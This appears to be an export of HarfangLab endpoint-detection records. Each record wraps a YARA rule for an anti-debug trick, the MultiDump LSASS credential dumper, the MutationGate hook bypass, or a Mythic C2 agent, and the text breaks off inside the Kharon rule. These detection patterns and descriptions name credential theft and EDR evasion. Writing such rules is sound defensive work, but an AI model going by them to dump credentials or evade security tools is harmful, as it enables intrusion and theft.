+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mov_ss_single_step_check_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571914Z",
+  "creation_date": "2026-03-23T11:46:25.571916Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571922Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.triplefault.io/2017/08/detecting-debuggers-by-abusing-bad.html\nhttps://github.com/HackOvert/AntiDBG"
+  ],
+  "name": "mov_ss_single_step_check.yar",
+  "content": "rule mov_ss_single_step_x86 {\n    meta:\n        title = \"Anti-Debug Check via Stack Segment\"\n        id = \"418d5692-89bb-4466-af13-8bc63656688a\"\n        description = \"Detects anti-debugging code using the MOV SS/POP SS technique.\\nThis technique creates a single-instruction window where certain debug exceptions are deferred. Malware often follows this with a test of stack memory, typically checking for a PSAPI_WORKING_SET_EX_BLOCK structure to detect debuggers.\\nIt is recommended to analyze the process and look for signs of malicious activity.\"\n        references = \"https://www.triplefault.io/2017/08/detecting-debuggers-by-abusing-bad.html\\nhttps://github.com/HackOvert/AntiDBG\"\n        date = \"2024-09-25\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1622\"\n        classification = \"Windows.Generic.AntiDebug\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 945ae2b6c0570efaedaeeaefcb70a1560a8e1a29a392869c9305b6755ba7a951\n        // 1cad451cedeb9967c790c1671cd2e3482de87e3e802953f28e426642894ceb7b\n        // 78077f5fc2ec9260787857325abafdf84e2773843d8a804ac7cf8bde33172268\n\n        $push_pop_ss = {\n            c7??????????00000000    // mov     dword [ebp-0x254 {var_264}], 0x0\n            16                      // push    ss {var_5c4_33}\n            17                      // pop     ss {var_5c4_33}\n            9c                      // pushfd   {var_5c8_17+0x2}\n            f6??????01              // test    byte [esp+0x1 {var_5c8_17+0x3}], 0x1 (check _PSAPI_WORKING_SET_EX_BLOCK)\n            (74|75)                 // jne     0x40198f\n        }\n\n    condition:\n        $push_pop_ss\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mov_ss_single_step_x86"
+  ],
+  "rule_creation_date": "2024-09-25",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.AntiDebug"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1622"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-multidump_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582005Z",
+  "creation_date": "2026-03-23T11:46:25.582007Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582013Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Xre0uS/MultiDump"
+  ],
+  "name": "multidump.yar",
+  "content": "rule multidump {\n    meta:\n        title = \"MultiDump Hacktool\"\n        id = \"455dc511-9e94-45fe-b39d-0d01ddb4d406\"\n        description = \"Detects MultiDump, a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly via ProcDump.exe or Comsvcs.dll's minidump.\\nIt avoids AV detection by spoofing process arguments and removing magic bytes from the dump, and includes a Python handler for decrypting and exfiltrating the dump over the network.\\nIt is recommended to investigate actions around this alert and to start memory forensics to determine stolen credentials.\"\n        references = \"https://github.com/Xre0uS/MultiDump\"\n        date = \"2024-09-13\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003.001\"\n        classification = \"Windows.HackTool.MultiDump\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 797b34f77293b13703b622585e10f04640e063348ddc36d7c4e3176c6460c731\n\n        $s1  = \"[!] Dumping LSASS Requires Elevated Privileges!\" ascii fullword\n        $s2  = \"[!] Failed to Create Process to Dump LSASS!\" ascii fullword\n        $s3  = \"[+] SYSTEM Save Read: %.2f MB\" ascii fullword\n        $s4  = \"[i] Sending Encrypted SECURITY Save...\" ascii fullword\n        $s5  = \"[i]Thread %lu resumed successfully.\" ascii fullword\n        $s6  = \"[i] Writing \\\"%s\\\" As The Process Argument At : 0x%p ...\" wide fullword\n        $s7  = \"![!] Cound Not Get %s's PID\" wide fullword\n        $s8  = \"[+] Found \\\"%s\\\" - Of PID : %d\" wide fullword\n        $s9  = \"debug_file_process_info_%Y%m%d_%H%M%S.dmp\" wide fullword\n        $s10 = \"[i] Real Reg Commands:  %s\" wide fullword\n\n    condition:\n        5 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "multidump"
+  ],
+  "rule_creation_date": "2024-09-13",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.MultiDump"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mutationgate_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571812Z",
+  "creation_date": "2026-03-23T11:46:25.571815Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571820Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/senzee1984/MutationGate"
+  ],
+  "name": "mutationgate.yar",
+  "content": "rule mutationgate {\n    meta:\n        title = \"Mutation Gate\"\n        id = \"c943547c-adc7-467f-ad5e-76a27b912179\"\n        description = \"Detects the Mutation Gate technique, a stealth-based method designed to bypass user-mode hooking.\\nMutation Gate is a sophisticated technique that serves as a variation of HellsGate. It is specifically designed to circumvent user-mode hooking mechanisms employed by security tools such as EDRs (Endpoint Detection and Response) by leveraging direct system calls and hardware breakpoints.\\nThrough the strategic use of these mechanisms, Mutation Gate can effectively hide its presence and activities from traditional hook-based detection methods, enabling persistence and execution on targeted systems.\\nIt is recommended to analyze the process for potential malicious activities and review the system's hooking mechanisms for any signs of tampering.\"\n        references = \"https://github.com/senzee1984/MutationGate\"\n        date = \"2024-02-28\"\n        modified = \"2025-03-13\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.execution;attack.t1106\"\n        classification = \"Windows.Generic.MutationGate\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 728302174869a95e2929472946b3448a67a176106445db8358c3425acfa1c438\n\n        $s_hash_ntdraw = { 65 02 92 A1 }\n        $s_winapi00 = \"AddVectoredExceptionHandler\" ascii wide\n        $s_winapi01 = \"GetThreadContext\" ascii wide\n        $s_winapi02 = \"SetThreadContext\" ascii wide\n        $s_dllload = \"C:\\\\Windows\\\\System32\\\\ntdll.dll\" ascii wide\n\n        $stub_check_exception = {\n            8B 00                   // mov     rax, [rax]\n            8B 00                   // mov     eax, [rax]\n            3D 04 00 00 80          // cmp     eax, 80000004h\n        }\n\n        $stub_getmod = {\n            65 48 8b 00     // mov     rax, [gs:rax]\n            [12-16]         // Place holder\n            48 8b ?? 18     // mov     rax, [rax+0x18]\n            [4-8]           // Place holder\n            48 8b ?? 30     // mov     rax, [rax+0x30]\n            [41-48]         // Place holder\n            48 8b ?? 10     // mov     rdx, [rax+0x10]\n        }\n\n        $stub_getproc = {\n            48 8b ?? 28              // mov     rcx, qword [rax+0x28]\n            48 8b ?? 30              // mov     rbx, qword [rax+0x30]\n            [4-8]\n            48 8b ?? 38              // mov     rcx, qword [rax+0x38]\n            48 8b ?? 40              // mov     rbx, qword [rax+0x40]\n            [4-8]\n            48 8b ?? 48              // mov     rcx, qword [rax+0x48]\n            48 8b ?? 50              // mov     rbx, qword [rax+0x50]\n            [4-8]\n            48 8b ?? 58              // mov     rcx, qword [rax+0x58]\n            48 8b ?? 60              // mov     rbx, qword [rax+0x60]\n            [4-8]\n            48 8b ?? 68              // mov     rcx, qword [rax+0x68]\n            48 8b ?? 70              // mov     rbx, qword [rax+0x70]\n            [4-8]\n            48 8b ?? 78              // mov     rcx, qword [rax+0x78]\n            48 8b ?? 80 00 00 00     // mov     rbx, qword [rax+0x80]\n            [4-8]\n            48 8b ?? 88 00 00 00     // mov     rcx, qword [rax+0x88]\n            48 8b ?? 90 00 00 00     // mov     rbx, qword [rax+0x90]\n            [4-8]\n            48 8b ?? 98 00 00 00     // mov     rcx, qword [rax+0x98]\n            48 8b ?? a0 00 00 00     // mov     rbx, qword [rax+0xa0]\n            [4-8]\n            48 8b ?? a8 00 00 00     // mov     rcx, qword [rax+0xa8]\n            48 8b ?? b0 00 00 00     // mov     rbx, qword [rax+0xb0]\n            [4-8]\n            48 8b ?? b8 00 00 00     // mov     rcx, qword [rax+0xb8]\n            48 8b ?? c0 00 00 00     // mov     rbx, qword [rax+0xc0]\n            [4-8]\n            48 8b ?? c8 00 00 00     // mov     rcx, qword [rax+0xc8]\n            48 8b ?? d0 00 00 00     // mov     rbx, qword [rax+0xd0]\n            [4-8]\n            48 8b ?? d8 00 00 00     // mov     rcx, qword [rax+0xd8]\n            48 8b ?? e0 00 00 00     // mov     rbx, qword [rax+0xe0]\n            [4-8]\n            48 8b ?? e8 00 00 00     // mov     rcx, qword [rax+0xe8]\n            48 8b ?? f0 00 00 00     // mov     rbx, qword [rax+0xf0]\n            [4-8]\n            48 8b ?? 00 01 00 00     // mov     rdx, qword [rax+0x100]\n            48 8b ?? f8 00 00 00     // mov     rax, qword [rax+0xf8]\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mutationgate"
+  ],
+  "rule_creation_date": "2024-02-28",
+  "rule_modified_date": "2025-03-13",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.MutationGate"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mythic_apollo_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582884Z",
+  "creation_date": "2026-03-23T11:46:25.582886Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582892Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/MythicAgents/Apollo\nhttps://attack.mitre.org/software/S0699/"
+  ],
+  "name": "mythic_apollo.yar",
+  "content": "rule mythic_apollo {\n    meta:\n        title = \"Mythic Apollo Agent\"\n        id = \"aed8442c-a1f5-460b-88c7-b94331c80d96\"\n        description = \"Detects the Mythic Apollo agent.\\nMythic Apollo is a Windows-based C2 (Command and Control) framework designed for use in offensive security training exercises. It is implemented in C# and integrates with the Mythic post-exploitation framework.\\nIt is recommended to isolate the affected system and analyze network traffic for potential C2 communication as well as to look for further signs of malicious activities on the host.\"\n        references = \"https://github.com/MythicAgents/Apollo\\nhttps://attack.mitre.org/software/S0699/\"\n        date = \"2024-02-28\"\n        modified = \"2025-03-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0699;attack.execution;attack.defense_evasion;attack.t1055;attack.t1059;attack.command_and_control;attack.t1071;attack.t1572\"\n        classification = \"Windows.Trojan.MythicApollo\"\n        context = \"process,memory,thread,file.pe\"\n        arch = \"x86,x64\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 61aa6d9ef73ded773041b54ea9fe44587b46b612abe1700026a3e6a2b737f536\n\n        $s1 = \"Failed to open thread token and have unhandled error. dwError: {0}\" wide fullword\n        $s2 = \"Unsupported C2 Profile type:\" wide fullword\n        $s3 = \"No egress profiles specified.\" wide fullword\n        $s4 = \"apollointerop\" wide fullword\n        $s5 = \"Apollo.Management.C2\" ascii fullword\n        $s6 = \"Apollo.Peers.SMB\" ascii fullword\n        $s7 = \"GetMythicUUID\" ascii fullword\n        $s8 = \"MessageStore_ChunkAdd\" ascii fullword\n        $s9 = \"<ChunksSent>k__BackingField\" ascii fullword\n\n    condition:\n        6 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mythic_apollo"
+  ],
+  "rule_creation_date": "2024-02-28",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.MythicApollo"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1059",
+    "attack.t1055",
+    "attack.t1572"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mythic_athena_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.588316Z",
+  "creation_date": "2026-03-23T11:46:25.588318Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.588324Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/MythicAgents/Athena\nhttps://attack.mitre.org/software/S0699/"
+  ],
+  "name": "mythic_athena.yar",
+  "content": "rule mythic_athena {\n    meta:\n        title = \"Mythic Athena Agent\"\n        id = \"f8d9dc5d-81f5-41dd-be10-635a4513108e\"\n        description = \"Detects the Mythic Athena agent.\\nAthena is a cross-platform .NET-based agent deployed by the Mythic framework for post-exploitation activities. It enables attackers to perform various tasks such as process manipulation, privilege escalation, and data exfiltration.\\nThis rule identifies the presence of Athena components and associated .NET runtime indicators.\\nIt is recommended to investigate process and network activity surrounding this alert to determine the Mythic C2 IP and process.\"\n        references = \"https://github.com/MythicAgents/Athena\\nhttps://attack.mitre.org/software/S0699/\"\n        date = \"2024-02-27\"\n        modified = \"2025-11-24\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0699;attack.defense_evasion;attack.t1569.002;attack.t1218;attack.t1055.012\"\n        classification = \"Trojan.MythicAthena\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 6e63864d2a8dab5d73f95fee4fe1358685c6aaf6e15df740dd692c13ff03652d\n        // e9781da55c4c30e7f5e182894f93fb26b88969fd8cde747a53ffd9882ca19462\n        // da8067b3cac9197712a41a1a1524aad0aba336921b64d3e914cbafe5d9c15446\n        // a269f238a9f973d983dedd1d172df39db844cc9e3b5e3527280fa41f8250e3c0\n        // 8876d8ae5c39b7e86e3602b4be53ccedf091cf3776962945a032599deb5baa86\n        // 375367274cf5ec2a759e8b43f79c0cec546751f9f68c4cb8ea2006a29bf10e52\n        // 2f5d06f444d2ad8d49653cb8d940ea65647562b163c873c3d7cd3dbedd3d5815\n        // 195161dd8441abca4850da96d26c2ec796eb03cd967453e6791e1053ec0ab477\n        // a3b5c0e9d2dfa7d9dc2f18a44a2e6396e7c1a0edcdaf512847d8bccc0fb779f7\n        // f625920322e534ffa0e563b179f8610ec8c34294ebad7f89c1e16eacd953b33e\n        // 276bcbbe863d630bd922a2d4e032c4ec0f7ff51fd1bcf769b8748c932d7a845f\n\n        $s1 = \"\\\"Athena.Handler.\" ascii\n\n        $module1 = \"caffeinate.dll\" ascii fullword\n        $module2 = \"cursed.dll\" ascii fullword\n        $module3 = \"exec.dll\" ascii fullword\n        $module4 = \"execute-assembly.dll\" ascii fullword\n        $module5 = \"farmer.dll\" ascii fullword\n        $module6 = \"get-clipboard.dll\" ascii fullword\n        $module7 = \"keylogger.dll\" ascii fullword\n        $module8 = \"get-localgroup.dll\" ascii fullword\n        $module9 = \"shellcode.dll\" ascii fullword\n        $module10 = \"smb.dll\" ascii fullword\n\n        $dotnet1 = \"DOTNET_RUNTIME_ID\" wide fullword\n        $dotnet2 = \"You must install .NET Desktop Runtime to run this application.\" wide fullword\n        $dotnet3 = \"Microsoft-Windows-DotNETRuntime\" wide fullword\n\n        $canary = \"978c439693654084087fe4dd8483eeb8c215d69807533ba823db28bd2bec1df2\" ascii\n\n    condition:\n        (#s1 >= 4 or 3 of ($module*)) and 1 of ($dotnet*) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mythic_athena"
+  ],
+  "rule_creation_date": "2024-02-27",
+  "rule_modified_date": "2025-11-24",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Trojan.MythicAthena"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1569.002",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mythic_freyja_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586812Z",
+  "creation_date": "2026-03-23T11:46:25.586815Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586820Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/MythicAgents/freyja\nhttps://attack.mitre.org/software/S0699/"
+  ],
+  "name": "mythic_freyja.yar",
+  "content": "rule mythic_freyja {\n    meta:\n        title = \"Mythic Freyja Agent\"\n        id = \"dd008043-a3ae-471d-9651-4c91a18000f4\"\n        description = \"Detects the Mythic Freyja Agent.\\nFreyja is a Golang-based Purple Team agent designed for integration with Mythic, enabling the execution of commands on target systems across Windows, Linux, and macOS x64 platforms.\"\n        references = \"https://github.com/MythicAgents/freyja\\nhttps://attack.mitre.org/software/S0699/\"\n        date = \"2024-02-28\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0699;attack.execution;attack.t1059;attack.command_and_control;attack.t1071;attack.t1572\"\n        classification = \"Trojan.MythicFreyja\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // a95e377b2d24a21ef2349fe21d9c25c3921b75852297f20cb100dd843275282c\n        // fc649b268d26eca6b7007eb0712a3a63937d512364ede2857a791b56a9e56ae1\n        // 3ce2e443727b6abd32fb7b6de296a7de157653871d349b59e484abb9e9be53aa\n\n        $s1 = \"Sent kill signal to Job ID: %s\" ascii\n        $s2 = \"RemoveInternalTCPConnectionChannel\" ascii\n        $s3 = \"freyja_tcp\" ascii\n        $s4 = \"C2ProfileName\" ascii\n        $s5 = \"File %s already exists. Reupload with the overwrite parameter, or remove the file before uploading again.\" ascii\n        $s6 = \"Uploaded %d bytes to %s\" ascii\n        $s7 = \"main.sendFileToMythic\" ascii fullword\n        $s8 = \"main.handleMythicMessageResponse\"\n\n    condition:\n        6 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mythic_freyja"
+  ],
+  "rule_creation_date": "2024-02-28",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Trojan.MythicFreyja"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1059",
+    "attack.t1572"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mythic_kharon_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566719Z",
+  "creation_date": "2026-03-23T11:46:25.566721Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566726Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/MythicAgents/Kharon\nhttps://attack.mitre.org/software/S0699/"
+  ],
+  "name": "mythic_kharon.yar",
+  "content": "rule mythic_kharon {\n    meta:\n        title = \"Mythic Kharon Agent\"\n        id = \"10befdb8-9f0d-4740-95a3-eab238084130\"\n        description = \"Detects the Mythic Kharon agent.\\nMythic Kharon is a Windows-based C2 (Command and Control) framework designed for use in offensive security training exercises. It is implemented in C/C++ in full Position Independant Code and integrates with the Mythic post-exploitation framework.\\nIt is recommended to isolate the affected system and analyze network traffic for potential C2 communication as well as to look for further signs of malicious activities on the host.\"\n        references = \"https://github.com/MythicAgents/Kharon\\nhttps://attack.mitre.org/software/S0699/\"\n        date = \"2025-08-18\"\n        modified = \"2025-09-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0699;attack.execution;attack.defense_evasion;attack.t1055;attack.t1059;attack.command_and_control;attack.t1071;attack.t1572\"\n        classification = \"Windows.Trojan.MythicKharon\"\n        context = \"process,memory,thread,file.pe\"\n        arch = \"x86,x64\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 5a0b49bd056eba4c537ae93198bf568a535427d722ef9c8b31f4f2526769a805\n\n        $obv1 = \"\\\\\\\\.\\\\pipe\\\\kharon_pipe\" ascii fullword\n        $obv2 = \"Failed to inject into remote process\" ascii fullword\n        $obv3 = \"Failed to inject post-ex module\" ascii fullword\n\n        $dim1 = \"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\" wide fullword\n        $dim2 = \"Failed to create pipe\" ascii fullword\n        $dim3 = \"SeDebugPrivilege\" ascii fullword\n        $dim4 = \"????????-????-????-????-????????????\" ascii fullword\n        $dim5 = \"sending to target\" ascii fullword\n        $dim6 = \"Failed to write chunk to file\" ascii fullword\n        $dim7 = \"Failed to create/open file\" ascii fullword\n        $dim8 = \"HARDWARE\\\\DESCRIPTION\\\\System\\\\CentralProcessor\\\\0\" ascii fullword\n        $dim9 = \"C:\\\\Windows\\\\System32\\\\*.dll\"\n\n        $initial_load = {\n            e8 ?? ?? ?? ??         // call    LdrLoad_Module\n            bf a9 b3 5a c0         // mov     edi, 0xc05ab3a9 // ntdll hash\n            ba a9 b3 5a c0         // mov     edx, 0xc05ab3a9\n            48 89 c1               // mov     rcx, rax\n            e8 ?? ?? ?? ??         // call    LdrLoad_Api\n            48 89 c6               // mov     rsi, rax\n            b9 26 79 